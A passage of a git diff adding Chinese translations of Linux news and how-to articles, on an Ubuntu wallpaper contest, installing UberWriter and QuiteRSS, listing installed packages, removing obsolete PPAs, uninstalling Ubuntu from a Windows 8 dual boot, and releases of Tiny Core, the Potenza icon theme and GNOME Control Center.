+由四月份的获奖作者组成的评审团筛选了几乎400张图片,最终选择了出了视觉上丰富又多彩的一组。我知道我每6个月就要说一次这个,但是这一次的作品看起来还是那么的棒(不仅仅是因为当中一两张是[我们的最爱][2]!)。 + +### 让我们瞧瞧这几张获奖图片 ### + +你能在下面看到目前选出的作品。需要强调的是,这是到目前为止的,如比赛的组织者[**Iain Farrell所说的**][3] :“我还在等一些回复,不过如果他们不给我回复就只能不包括他们的了!” + +![](http://www.omgubuntu.co.uk/wp-content/uploads/2014/09/utopic.jpg) + +不可缺少的经典吉祥物壁纸 + +![](http://www.omgubuntu.co.uk/wp-content/uploads/2014/09/Empty-Space-by-Glenn-Rayat.jpg) + +‘空’ —— Glenn Rayat + +![](http://www.omgubuntu.co.uk/wp-content/uploads/2014/09/Horses-on-sand-dunes-by-Matthias-Siewert.jpg) + +沙漠与马 —— M. Siewert + +![](http://www.omgubuntu.co.uk/wp-content/uploads/2014/09/Golden-leaves-by-Mauro-Campanelli.jpg) + +金色的叶 + +![](http://www.omgubuntu.co.uk/wp-content/uploads/2014/09/salcantayperu-by-Life-Nomadic.jpg) + +游牧生活 —— Sal’ + +![](http://www.omgubuntu.co.uk/wp-content/uploads/2014/09/xgu.jpeg) + +‘xgu472hf2′ —— Lariliikala + +![](http://www.omgubuntu.co.uk/wp-content/uploads/2014/09/Redes-de-hilo-by-Juan-Pablo-Lauriente.jpg) + +多石海岸 —— Juan PL. + +![](http://www.omgubuntu.co.uk/wp-content/uploads/2014/09/warm-grass.jpeg) + +‘暖草’ —— dcsearle.t21 + +![](http://www.omgubuntu.co.uk/wp-content/uploads/2014/09/Kronach-leuchtet-2014-by-Brian-Fox.jpg) + +克罗纳赫灯具 —— Brian Fox + +![](http://www.omgubuntu.co.uk/wp-content/uploads/2014/09/Night-Seascape-by-Davor-Dopar.jpg) + +达沃多帕的海景 + +![](http://www.omgubuntu.co.uk/wp-content/uploads/2014/09/Music-tomasino.cz_.jpg) + +托马西诺音乐 + +![](http://www.omgubuntu.co.uk/wp-content/uploads/2014/09/Sunny-Autumn-by-Joel-Heaps.jpg) + +阳光之秋 + +如果有任何变化我们将会更新这篇文章,你可以[点击这里][4]获取这些参赛作品的压缩包。完整的乌托邦壁纸包,可能会包含进新的默认壁纸,这些都会在未来2天内发生。 + +通过下方的评论来让我们知道哪张图你的最爱吧!不要吝啬赞美之词! + +-------------------------------------------------------------------------------- + +via: http://www.omgubuntu.co.uk/2014/09/ubuntu-14-10-wallpaper-contest-winners + +作者:[Joey-Elijah Sneddon][a] +译者:[ZTinoZ](https://github.com/ZTinoZ) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:https://plus.google.com/117485690627814051450/?rel=author +[1]:http://www.omgubuntu.co.uk/2014/08/ubuntu-14-10-wallpaper-contest +[2]:http://linux.cn/article-3745-1.html +[3]:https://bugs.launchpad.net/ubuntu/+source/ubuntu-wallpapers/+bug/1354341/comments/2 +[4]:https://bugs.launchpad.net/ubuntu/+source/ubuntu-wallpapers/+bug/1354341/+attachment/4199899/+files/14.10%20images.zip diff --git a/published/201409/20140910 [Quick Tip] How To List All Installed Packages On Linux Distributions.md b/published/201409/20140910 [Quick Tip] How To List All Installed Packages On Linux Distributions.md new file mode 100644 index 0000000000..213e1cf279 --- /dev/null +++ b/published/201409/20140910 [Quick Tip] How To List All Installed Packages On Linux Distributions.md @@ -0,0 +1,53 @@ +怎么在Linux发行版下列出所有安装了的包 +================================================================================ +![](http://180016988.r.cdn77.net/wp-content/uploads/2014/09/linux-790x536.png) + +列出所有安装了的包的方法取决于你用什么发行版以及包管理器。 + +在这个教程里,我们将提供主流发行版的命令。 + +**注意**: 你可以用管道筛选或者用重定向符(>)来把结果重定向到一个文件。例子如下。 + + example | less + +---------- + + example > installed_packages.txt + +### Red Hat/Fedora Core/CentOS Linux: ### + + rpm -qa + +### FreeBSD / OpenBSD: ### + + pkg_info + +### Arch Linux: ### + + pacman -Qq + +### Ubuntu / Debian / Linux Mint: ### + + dpkg --get-selections + +---------- + + dpkg --list + +---------- + + dpkg -l + +祝你一天好心情。 + +-------------------------------------------------------------------------------- + +via: http://www.unixmen.com/quick-tip-list-installed-packages-linux-distributions/ + +作者:[Enock Seth Nyamador][a] +译者:[2q1w2007](https://github.com/2q1w2007) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://www.unixmen.com/author/seth/ \ No newline at end of file diff --git a/published/201409/20140911 Install UberWriter Markdown Editor In Ubuntu 14.04.md b/published/201409/20140911 Install UberWriter Markdown Editor In Ubuntu 14.04.md new file mode 100644 index 0000000000..2b903e3c00 --- /dev/null +++ b/published/201409/20140911 Install UberWriter Markdown Editor In Ubuntu 14.04.md @@ -0,0 +1,59 @@ +在Ubuntu14.04上安装UberWriterMarkdown编辑器 +================================================================================ +这是一篇快速教程指导我们如何通过官方的PPA源在Ubuntu14.04上安装UberWriter编辑器。 + +[UberWriter][1]是一款Ubuntu下的Markdown编辑器,它简洁的界面能让我们更致力于编辑文字。UberWriter利用了[pandoc][3](一个格式转换器)。但由于UberWriter的UI是基于GTK3的,因此不能完全兼容Unity桌面系统。以下是对UberWriter功能的列举: + +- 简洁的界面 +- 使用pandoc转换markdown +- 可预览 +- 免打扰模式 +- 拼写检查 +- 语法高亮,能在html和pdf中出现数学公式 +- 支持导出到PDF,HTML,ODT等 + +### 在Ubuntu14.04上安装UberWriter ### + +UberWriter可以在[Ubuntu软件中心][4]中找到但是安装需要支付5刀。如果你真的喜欢这款编辑器并想为开发者提供一些资金支持的话,我很建议你购买它。 + +除此之外,UberWriter也能通过官方的PPA源来免费安装。通过如下命令: + + sudo add-apt-repository ppa:w-vollprecht/ppa + sudo apt-get update + sudo apt-get install uberwriter + +安装完毕之后,你可以通过Unity的Dash运行使用。如你所见,它支持markdown的语法高亮: + +![](http://itsfoss.itsfoss.netdna-cdn.com/wp-content/uploads/2014/09/UberWriter_Ubuntu.jpeg) + +你可以使用预览功能来查看你的文档: + +![](http://itsfoss.itsfoss.netdna-cdn.com/wp-content/uploads/2014/09/UberWriter_Ubuntu_1.jpeg) + +我尝试导出到PDF的时候被提示安装texlive。 + +![](http://itsfoss.itsfoss.netdna-cdn.com/wp-content/uploads/2014/09/UberWriter_Ubuntu_PDF_Export.png) + +虽然导出到HTML和ODT格式是好的。 + +在Linux下还有一些其他的markdown编辑器。[Remarkable][5]是一款能够实时预览的编辑器,UberWriter却不能,不过总的来说它是一款很不错的应用。如果你在寻找文本编辑器的话,你可以试试[Texmaker LaTeX editor][6]。 + +系统这个教程能够帮你在Ubuntu14.04上成功安装UberWriter。我猜想UberWriter在Ubuntu12.04,Linux Mint 17,Elementary OS和其他在Ubuntu的基础上的Linux发行版上也能成功安装。 + +-------------------------------------------------------------------------------- + +via: http://itsfoss.com/install-uberwriter-markdown-editor-ubuntu-1404/ + +作者:[Abhishek][a] +译者:[John](https://github.com/johnhoow) +校对:[Caroline](https://github.com/carolinewuyan) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://itsfoss.com/author/Abhishek/ +[1]:http://uberwriter.wolfvollprecht.de/ +[2]:http://en.wikipedia.org/wiki/Markdown +[3]:http://johnmacfarlane.net/pandoc/ +[4]:apt://uberwriter +[5]:http://itsfoss.com/remarkable-markdown-editor-linux/ +[6]:http://itsfoss.com/install-latex-ubuntu-1404/ diff --git a/published/201409/20140912 How to Go Hands On With the Utopic Unicorn--Literally.md b/published/201409/20140912 How to Go Hands On With the Utopic Unicorn--Literally.md new file mode 100644 index 0000000000..b0c57b8273 --- /dev/null +++ b/published/201409/20140912 How to Go Hands On With the Utopic Unicorn--Literally.md @@ -0,0 +1,38 @@ +如何“上手”体验乌托邦独角兽! +================================================================================ +**想要知道如何在正式发布前上手体验乌托邦独角兽(Utopic Unicorn)?现在你就可以做到!—— 真的是[“上手”][1]体验哦~!** + +显然是为了庆祝即将发布的同名Ubuntu,Canonical上线了一款“手把手教你独角兽折纸指南”。这一活动作为该公司[2014 Deconstruct][2] 大会的一部分出现,大会于九月上旬在英国Brighton举办。 + +![Image: Alejandra Obregon](http://www.omgubuntu.co.uk/wp-content/uploads/2014/09/ubuntu-unicorns-750x745.jpg) + +供图: Alejandra Obregon + +大会为期一天,为富有创造力的专家以及数字文化狂热者们提供了一个理想的交流场所,Canonical将展示一个正在开发中版本的 Ubuntu Phone,内容包括具体的设计以及用户交互界面,用以满足与会观众。 + +人们对这一折纸活动的反响很积极。折纸独角兽作品最棒的人,将会获得一部全新的 Ubuntu 手机,这大大激发了人们的积极性。 + +### 下载折纸独角兽 ### + +其余没有获奖的朋友,也不要气馁,下载折纸独角兽还是会有惊喜哦~ + +如果你有五分钟的休息时间,为什么不玩玩这个折纸娱乐一下呢?如果你认为自己折出来的独角兽非常非常出(la)色(ji),请在[Twitter][3] 或 [Google+][4]上给我们发照片~(译者表示不爽!这是诚心不给我们天朝百姓获奖的机会吗?) + +- [下载 ‘Make a Unicorn’ 手工折纸][5] + +-------------------------------------------------------------------------------- + +via: http://www.omgubuntu.co.uk/2014/09/unicorn-origami-download-pdf-ubuntu-utopic + +作者:[Joey-Elijah Sneddon][a] +译者:[Mr小眼儿](http://blog.csdn.net/tinyeyeser) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:https://plus.google.com/117485690627814051450/?rel=author +[1]:http://design.canonical.com/2014/09/canonical-and-ubuntu-at-dconstruct/ +[2]:http://2014.dconstruct.org/ +[3]:http://twitter.com/omgubuntu +[4]:http://plus.google.com/+omgubuntu +[5]:http://design.canonical.com/wp-content/uploads/042_CAN_dConstruct_instructions.pdf diff --git a/published/201409/20140912 QuiteRSS--RSS Reader For Desktop Linux.md b/published/201409/20140912 QuiteRSS--RSS Reader For Desktop Linux.md new file mode 100644 index 0000000000..c7da331e4c --- /dev/null +++ b/published/201409/20140912 QuiteRSS--RSS Reader For Desktop Linux.md @@ -0,0 +1,53 @@ +QuiteRSS: Linux桌面的RSS阅读器 +================================================================================ +[QuiteRSS][1]是一个免费的[开源][2]RSS/Atome阅读器。它可以在Windows、Linux和Mac上运行。它用C++/QT编写。它有许多的特色功能。 + +QuiteRSS的界面让我想起Lotus Notes mail,会有很多RSS信息排列在右侧面板上,你可以通过标签分组。点击一个 RSS 条目时,会在下方的面板里面显示该信息。 + +![](http://itsfoss.itsfoss.netdna-cdn.com/wp-content/uploads/2014/09/QuiteRSS_Ubuntu.jpeg) + +除了上述功能,它还有一个广告屏蔽器,一个报纸视图,通过URL导入RSS源等众多功能。你可以在[这里][3]查找到完整的功能列表。 + +### 在 Ubuntu 和 Linux Mint 上安装 QuiteRSS ### + +QuiteRSS在Ubuntu 14.04 和 Linux Mint 17中可用。你可以通过以下命令行轻松安装: + + sudo apt-get install quiterss + +如果你想安装最新的稳定版本,你可以使用官方的[QuiteRSS PPA][4]: + + sudo add-apt-repository ppa:quiterss/quiterss + sudo apt-get update + sudo apt-get install quiterss + +上面的命令支持所有基于Ubuntu的发行版,比如Linux Mint, Elementary OS, Linux Lite, Pinguy OS等等。对于其他Linux发行版和平台上,你可以从 [下载页][5]获得源码来安装。 + +### 卸载 QuiteRSS ### + +用下列命令卸载 QuiteRSS: + + sudo apt-get remove quiterss + +如果你使用了PPA,你还也应该从源列表中把仓库删除: + + sudo add-apt-repository --remove ppa:quiterss/quiterss + +QuiteRSS是一个不错的开源RSS阅读器,尽管我更喜欢[Feedly][6]。不过现在 Feedly 还没有Linux桌面程序,但是你依然可以在网页浏览器中使用。希望你会觉得QuiteRSS值得在桌面Linux一试。 + +-------------------------------------------------------------------------------- + +via: http://itsfoss.com/quiterss-rss-reader-desktop-linux/ + +作者:[Abhishek][a] +译者:[2q1w2007](https://github.com/2q1w2007) +校对:[Caroline](https://github.com/carolinewuyan) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://itsfoss.com/author/Abhishek/ +[1]:http://quiterss.org/ +[2]:http://itsfoss.com/category/open-source-software/ +[3]:http://quiterss.org/en/about +[4]:https://launchpad.net/~quiterss/+archive/ubuntu/quiterss/ +[5]:http://quiterss.org/en/download +[6]:http://feedly.com/ diff --git a/published/201409/20140915 How To Uninstall Ubuntu Linux From Windows 8 Dual Boot.md b/published/201409/20140915 How To Uninstall Ubuntu Linux From Windows 8 Dual Boot.md new file mode 100644 index 0000000000..247b4d1577 --- /dev/null +++ b/published/201409/20140915 How To Uninstall Ubuntu Linux From Windows 8 Dual Boot.md @@ -0,0 +1,127 @@ +从Windows双启动中卸载Ubuntu Linux +================================================================================ +![](http://itsfoss.itsfoss.netdna-cdn.com/wp-content/uploads/2014/09/Guide_Uninstall_Ubuntu_Windows_dual_Boot.jpeg) + +我在过去已经多次涉及到[在UEFI模式下安装Ubuntu 14.04与Windows 8/8.1双启动][1]的话题。 但是要怎么从**Windows双启动中卸载Ubuntu呢**?下面我们将看到的教程适用于任意的Linux操作系统,如Ubuntu,Linux Mint,Elementary OS或其它任意Linux发行版。 + +如果你认为[在双启动模式下安装Ubuntu与Windows 8共存][2]是件难事,而从Windows双启动中移除Ubuntu将是很简单的,你的想法并不是完全错误的。如果你有个Windows安装介质的话,从Windows双启动中卸载Linux将是轻而易举的。 + +这个教程将教你如何在有**Windows 8/8.1安装介质**的情况下将Linux从Windows 8或Windows 8.1双启动中完全移除。 + +### 将Ubuntu从Windows 8双启动中安全卸载 ### + +你有没有Windows 8安装介质以及是否已经安装了Windows 8.1在你系统上这都不重要。它同样工作得很好。但是我不能说在Windows 7上也一样。如果你身边有Windows安装盘,让我们开始从Windows双启动中移除Ubuntu的进程吧。 + +从双启动中删除Linux分为两部分。第一部分是删除Linux安装的所在分区。第二部分是修复Windows启动引导,因为简单地将Linux分区删除会引起[“Grub rescue”错误][3]。 + +### 第一部分:在Windows下删除Linux分区 ### + +**第一步:** + +登录Windows。按下 **Windows+R** 然后在其中运行 diskmgmt.msc 命令。它将会打开Windows磁盘管理工具。 + +![](http://itsfoss.itsfoss.netdna-cdn.com/wp-content/uploads/2014/09/Disk_Mgmt.jpg) + +**第二步:** + +在你安装了Linux之后,就能很容易地从大小上分辨出Linux分区。另一个分辨Linux分区的提示是找没有文件系统以及驱动器卷标的分区。Windows分区通常用卷标进行标记,比如C,D,E等等,而且通常是NTFS或FAT文件系统。 + +就像你所能看到的,我在这里有三个Linux分区,因为我在安装Ubuntu时单独地创建了根分区(root),交换分区(swap)和家目录(home)。 + +![](http://itsfoss.itsfoss.netdna-cdn.com/wp-content/uploads/2014/09/Uninstall_Linux_From_WIndows_Dual_Boot.jpg) + +**Step 3:** +**第三步:** + +选择Linux分区,右键点击并选择 **删除卷** 选项。 + +![](http://itsfoss.itsfoss.netdna-cdn.com/wp-content/uploads/2014/09/Uninstall_Linux_From_WIndows_Dual_Boot_1.jpg) + +如果出现了警告,在这里选择是即可。 + +![](http://itsfoss.itsfoss.netdna-cdn.com/wp-content/uploads/2014/09/Uninstall_Linux_From_WIndows_Dual_Boot_2.jpg) + +**Step 4:** +**第四步:** + +被删除的分区会变成一块可用的空闲空间。你可以用它来扩展已有的卷或创建一个新的Windows分区。我会建议你创建一个新的驱动器(或是卷或者分区,随便你怎么叫),因为这样子万一你将来又想将Linux和Winodws双启动时会简单一点。 + +![](http://itsfoss.itsfoss.netdna-cdn.com/wp-content/uploads/2014/09/Uninstall_Linux_From_WIndows_Dual_Boot_3.jpg) + +#### 第二部分:修复Windows启动引导 #### + +一旦你删除了Linux分区,就是时候修复Windows启动引导了。这里的图片看起来可能不是很清楚,因为相对于Windows来说[在Ubuntu下对登录画面进行截图][4]要简单的多。我用手机相机拍下了这些照片。 + +**第一步:** + +**插入Windows 8安装介质并重启**你的电脑。在启动的时候按下F10或F12进入BIOS/UEFI,选择**从可移除介质启动(boot from removable disk)**。 + +![](http://itsfoss.itsfoss.netdna-cdn.com/wp-content/uploads/2014/09/Uninstall_Linux_Windows_Dualboot_1.jpg) + +**第二步:** + +选择修复你的计算机(repair your computer): + +![](http://itsfoss.itsfoss.netdna-cdn.com/wp-content/uploads/2014/09/Uninstall_Linux_Windows_Dualboot_3.jpg) + +**第三步:** + +在这里选择疑难解答(Troubleshoot): + +![](http://itsfoss.itsfoss.netdna-cdn.com/wp-content/uploads/2014/09/Uninstall_Linux_Windows_Dualboot_2.jpg) + +**第四步:** + +在疑难解答页面,选择高级选项(Advanced options): + +![](http://itsfoss.itsfoss.netdna-cdn.com/wp-content/uploads/2014/09/Uninstall_Linux_Windows_Dualboot_4.jpg) + +**第五步:** + +找到这里的命令提示符(command prompt): + +![](http://itsfoss.itsfoss.netdna-cdn.com/wp-content/uploads/2014/09/Uninstall_Linux_Windows_Dualboot_6.jpg) + +**第六步:** + +在命令行中输入下列命令来修复Windows启动引导: + + bootrec.exe /fixmbr + +正常情况下,它是立即生效的,你甚至都不用等。 + +![](http://itsfoss.itsfoss.netdna-cdn.com/wp-content/uploads/2014/09/Uninstall_Linux_Windows_Dualboot_5.jpg) + +**第七步:** + +一旦完成了这一步,重启你的电脑,这次从硬盘正常启动。你应该能够启动进入Windows。如果你仍然看到Grub rescue错误,试试下面的步骤。 + +**第八步:如果第六步中的方法不起作用** + +如果第六步中的命令不起作用,试试高级疑难解答中的自动修复选项。 + +![](http://itsfoss.itsfoss.netdna-cdn.com/wp-content/uploads/2014/09/Uninstall_Linux_Windows_Dualboot_8.jpg) + +它会花点时间查找问题然后修复它。 + +![](http://itsfoss.itsfoss.netdna-cdn.com/wp-content/uploads/2014/09/Uninstall_Linux_Windows_Dualboot_7.jpg) + +现在如果你重启的话,你应该能够正常进入Windows,不再看到任何的Grub rescue错误提示。 + +我希望这个指南能够帮助你**将Ubuntu从Windows 8双启动中完全移除**。欢迎提出任何问题与建议。 + +-------------------------------------------------------------------------------- + +via: http://itsfoss.com/uninstall-ubuntu-linux-windows-dual-boot/ + +作者:[Abhishek][a] +译者:[alim0x](https://github.com/alim0x) +校对:[Caroline](https://github.com/carolinewuyan) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://itsfoss.com/author/Abhishek/ +[1]:http://linux.cn/article-3178-1.html +[2]:http://itsfoss.com/install-ubuntu-dual-boot-mode-windows/ +[3]:http://itsfoss.com/solve-error-partition-grub-rescue-ubuntu-linux/ +[4]:http://itsfoss.com/screenshot-login-screen-ubuntu-linux/ diff --git a/published/201409/20140915 Linux FAQs with Answers--How to find and remove obsolete PPA repositories on Ubuntu.md b/published/201409/20140915 Linux FAQs with Answers--How to find and remove obsolete PPA repositories on Ubuntu.md new file mode 100644 index 0000000000..5df96720b1 --- /dev/null +++ b/published/201409/20140915 Linux FAQs with Answers--How to find and remove obsolete PPA repositories on Ubuntu.md @@ -0,0 +1,44 @@ +Linux有问必答——如何查找并移除Ubuntu上陈旧的PPA仓库 +================================================================================ +> **问题**:我试着通过运行apt-get update命令来再次同步包索引文件,但是却出现了“404 无法找到”的错误,看起来似乎是我不能从先前添加的第三方PPA仓库中获取最新的索引。我怎样才能清除这些破损而且陈旧的PPA仓库呢? + + Err http://ppa.launchpad.net trusty/main amd64 Packages + 404 Not Found + Err http://ppa.launchpad.net trusty/main i386 Packages + 404 Not Found + W: Failed to fetch http://ppa.launchpad.net/finalterm/daily/ubuntu/dists/trusty/main/binary-amd64/Packages 404 Not Found + + W: Failed to fetch http://ppa.launchpad.net/finalterm/daily/ubuntu/dists/trusty/main/binary-i386/Packages 404 Not Found + + E: Some index files failed to download. They have been ignored, or old ones used instead. + +当你试着更新APT包索引时,“404 无法找到”错误总是会在版本更新之后发生。就是说,在你升级你的Ubuntu发行版后,你在旧的版本上添加的一些第三方PPA仓库就不再受新版本的支持。在此种情况下,你可以像下面这样来**鉴别并清除那些破损的PPA仓库**。 + +首先,找出那些引起“404 无法找到”错误的PPA。 + + $ sudo apt-get update | grep "Failed" + +![](https://farm6.staticflickr.com/5580/14972354938_0e1e1f3db6_z.jpg) + +在本例中,Ubuntu Trusty不再支持的PPA仓库是“ppa:finalterm/daily”。 + +去[移除PPA仓库][1]吧。 + + $ sudo add-apt-repository --remove ppa:finalterm/daily + +你得去重复重复再重复,把上面找到的所有过时的PPA仓库一个一个地移除。 + +![](https://farm4.staticflickr.com/3844/15158541642_1fc8f92c77_z.jpg) + +在移除所有过时的PPA仓库后,重新运行“apt-get update”命令来检查它们是否都被成功移除。 + +-------------------------------------------------------------------------------- + +via: http://ask.xmodulo.com/find-remove-obsolete-ppa-repositories-ubuntu.html + +译者:[GOLinux](https://github.com/GOLinux) +校对:[Caroline](https://github.com/carolinewuyan) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://ask.xmodulo.com/how-to-remove-ppa-repository-from-command-line-on-ubuntu.html diff --git a/published/201409/20140915 One of the Smallest Distros in the World, Tiny Core, Gets a Fresh Update.md b/published/201409/20140915 One of the Smallest Distros in the World, Tiny Core, Gets a Fresh Update.md new file mode 100644 index 0000000000..eac233ac21 --- /dev/null +++ b/published/201409/20140915 One of the Smallest Distros in the World, Tiny Core, Gets a Fresh Update.md @@ -0,0 +1,39 @@ +世界上最小的发行版之一Tiny Core有了更新 +================================================================================ +![Tiny Core desktop](http://i1-news.softpedia-static.com/images/news2/One-of-the-Smallest-Distros-in-the-World-Tiny-Core-Gets-a-Fresh-Update-458785-2.jpg) + +Tiny Core + +**Robert Shingledecker 宣布了最终版本的Tiny Core 5.4 Linux操作系统已经可以即刻下载,这也使它成为世界上最小的发行版之一。** + +发行版的名字说明了一切,但是开发者依然集成了一些有意思的包和一个轻量的桌面来与它相匹配。这次最新的迭代只有一个候选版本,而且它也是迄今为止最安静的版本之一。 + +官网上的开发者说"Tiny Core是一个简单的范例来说明核心项目可以提供什么。它提供了一个12MB的FLTK/FLWM桌面。用户对提供的程序和外加的硬件有完整的控制权。你可以把它用在桌面、笔记本或者服务器上,这可以由用户从在线库中安装附加程序时选择,或者用提供的工具编译大多数你需要的。" + +根据更新日志,NFS的入口被添加,'Done'将在新的一行里显示,udev也升级到174来修复竞态条件问题。 + +关于修改和升级的完整内容可以在官方的[声明][1]里找到。 + +你可以点击以下链接下载Tiny Core Linux 5.4. + +- [Tiny Core Linux 5.4 (ISO)][2][iso] [14 MB] +- [Tiny Core Plus 5.4 (ISO)][3][iso] [72 MB] +- [Core 5.4 (ISO)][4][iso] [8.90 MB] + +这些发行版都有Live,你可以在安装之前试用。 + +-------------------------------------------------------------------------------- + +via: http://news.softpedia.com/news/One-of-the-Smallest-Distros-in-the-World-Tiny-Core-Gets-a-Fresh-Update-458785.shtml + +作者:[Silviu Stahie][a] +译者:[2q1w2007](https://github.com/2q1w2007) +校对:[Caroline](https://github.com/carolinewuyan) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://news.softpedia.com/editors/browse/silviu-stahie +[1]:http://forum.tinycorelinux.net/index.php/topic,17487.0.html +[2]:http://distro.ibiblio.org/pub/linux/distributions/tinycorelinux/5.x/x86/release/TinyCore-5.4.iso +[3]:http://repo.tinycorelinux.net/5.x/x86/release/CorePlus-5.4.iso +[4]:http://distro.ibiblio.org/tinycorelinux/5.x/x86/release/Core-current.iso diff --git a/published/201409/20140915 Potenza Icon Themes 2.0 Available For Download.md b/published/201409/20140915 Potenza Icon Themes 2.0 Available For Download.md new file mode 100644 index 0000000000..992c8bfd91 --- /dev/null +++ b/published/201409/20140915 Potenza Icon Themes 2.0 Available For Download.md @@ -0,0 +1,44 @@ +Potenza 图标主题2.0已可下载 +================================================= +![](http://itsfoss.itsfoss.netdna-cdn.com/wp-content/uploads/2014/09/Potenza_Icons.jpeg) + +[Potenza][1]图标主题版本2.0已经发布。Potenza 图标的灵感来自[faenza][2],faenza是我们在[Ubuntu 13.10的最佳图标][3]的列出的一款漂亮的图标主题。 + +Potenza 的开发者 Alessandro Bompadre说,他曾试图建立一个适用于Linux的完整图标集,它应该适合各种桌面环境,包括如Unity,Gnome,Cinnamon,KDE等。 + +###下载 Potenza 图标### + +Potenza 图标可在 Ubuntu,Linux Mint、Elementary OS、Linux Lite 等环境中通过Noobslab的PPA来安装。只有一点需要提醒你,因为要为所有主要类型的桌面环境提供了大量的图标,所以总下载字节大概是400 MB。 + +打开一个终端,使用下面的命令: + + sudo add-apt-repository ppa:noobslab/potenza + sudo apt-get update + sudo apt-get install potenza-2 + +如果你不想使用PPA,您也可以从下面的链接安装该图标主题: + +- [下载 Potenza 图标主题][4] + +解压文件到 ~/.icons 目录。在Ubuntu的Unity环境中,你可以[使用Unity Tweak Tool把当前的图标主题切换][5] 为 Potenza 。 + +希望你喜欢Potenza,您也可以试试[Dalisha图标主题][6]或看看我们的[Ubuntu 14.04的最佳图标主题列表][7]。 + +-------------------------------------------------- ------------------------------ + +via: http://itsfoss.com/potenza-icon-themes-20-download/ + +作者:[Abhishek][a] +译者:[fbigun](https://github.com/fbigun) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://itsfoss.com/author/Abhishek/ +[1]:https://github.com/AlessandroBompadre/Potenza/ +[2]:http://tiheum.deviantart.com/art/Faenza-Icons-173323228 +[3]:http://itsfoss.com/best-icon-themes-ubuntu-1310/ +[4]:http://gnome-look.org/content/show.php/Potenza+2.0?content=166853 +[5]:http://itsfoss.com/best-icon-themes-ubuntu-1404/ +[6]:http://itsfoss.com/dalisha-icon-ubuntu-linux/ +[7]:http://itsfoss.com/best-icon-themes-ubuntu-1404/ diff --git a/published/201409/20140917 GNOME Control Center 3.14 RC1 Corrects Lots of Potential Crashes.md b/published/201409/20140917 GNOME Control Center 3.14 RC1 Corrects Lots of Potential Crashes.md new file mode 100644 index 0000000000..aef8750f6b --- /dev/null +++ b/published/201409/20140917 GNOME Control Center 3.14 RC1 Corrects Lots of Potential Crashes.md @@ -0,0 +1,41 @@ +GNOME控制中心3.14 RC1修复了大量潜在崩溃问题 +================================================================================ +![GNOME Control Center in Arch Linux](http://i1-news.softpedia-static.com/images/news2/GNOME-Control-Center-3-14-RC1-Correct-Lots-of-Potential-Crashes-458986-2.jpg) + +Arch Linux下的GNOME控制中心 + +**GNOME控制中心,可以在GNOME中更改你的桌面各个方面设置的主界面,已经升级至3.14 RC1,伴随而来的是大量来自GNOME stack的包。** + +GNOME控制中心是在GNOME生态系统中十分重要的软件之一,尽管不是所有的用户意识到了它的存在。GNOME控制中心是管理由GNOME驱动的操作系统中所有设置的部分,就像你从截图里看到的那样。 + +GNOME控制中心不是很经常被宣传,它实际上是GNOME stack中为数不多的源代码包和安装后的应用名称不同的软件包。源代码包的名字为GNOME控制中心,但用户经常看到的应用名称是“设置”或“系统设置”,取决于开发者的选择。 + +### GNOME控制中心 3.14 RC1 带来哪些新东西 ### + +通过更新日志可以得知,升级了libgd以修复GdNotification主题,切换视图时背景选择对话框不再重新调整大小,选择对话框由三个不同视图组合而成,修复Flickr支持中的一个内存泄漏,在“日期和时间”中不再使用硬编码的字体大小,修复改换窗口管理器(或重启)时引起的崩溃,更改无线网络启用时可能引起的崩溃也已被修复,以及纠正了更多可能的WWAN潜在崩溃因素。 + +此外,现在热点仅在设备活动时运行,所有虚拟桥接现在是隐藏的,不再显示VPN连接的底层设备,默认不显示空文件夹列表,解决了几个UI填充问题,输入焦点现在重新回到了账户对话框,将年份设置为0时导致的崩溃已修复,“Wi-Fi热点”属性居中,修复了打开启用热点时弹出警告的问题,以及现在打开热点失败时将弹出错误信息。 + +完整的变动,更新以及bug修复,参见官方[更新日志][1]。 + +你可以下载GNOME控制中心 3.14 RC1: + +- [tar.xz (3.12.1 稳定版)][2][sources] [6.50 MB] +- [tar.xz (3.14 RC1 开发版)][3][sources] [6.60 MB] + +这里提供的仅仅是源代码包,你必须自己编译以测试GNOME控制中心。除非你真的知道自己在做什么,否则你应该等到完整的GNOME stack在源中可用时再使用。 + +-------------------------------------------------------------------------------- + +via: http://news.softpedia.com/news/GNOME-Control-Center-3-14-RC1-Correct-Lots-of-Potential-Crashes-458986.shtml + +作者:[Silviu Stahie][a] +译者:[alim0x](https://github.com/alim0x) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://news.softpedia.com/editors/browse/silviu-stahie +[1]:http://ftp.acc.umu.se/pub/GNOME/sources/gnome-control-center/3.13/gnome-control-center-3.13.92.news +[2]:http://ftp.acc.umu.se/pub/GNOME/sources/gnome-control-center/3.12/gnome-control-center-3.12.1.tar.xz +[3]:http://ftp.acc.umu.se/pub/GNOME/sources/gnome-control-center/3.13/gnome-control-center-3.13.92.tar.xz diff --git a/published/201409/20140919 Another Italian City Says Goodbye To Microsoft Office, Will Switch To OpenOffice Soon.md b/published/201409/20140919 Another Italian City Says Goodbye To Microsoft Office, Will Switch To OpenOffice Soon.md new file mode 100644 index 0000000000..1fd4d81ec7 --- /dev/null +++ b/published/201409/20140919 Another Italian City Says Goodbye To Microsoft Office, Will Switch To OpenOffice Soon.md @@ -0,0 +1,36 @@ +欧洲现在很流行拥抱开源 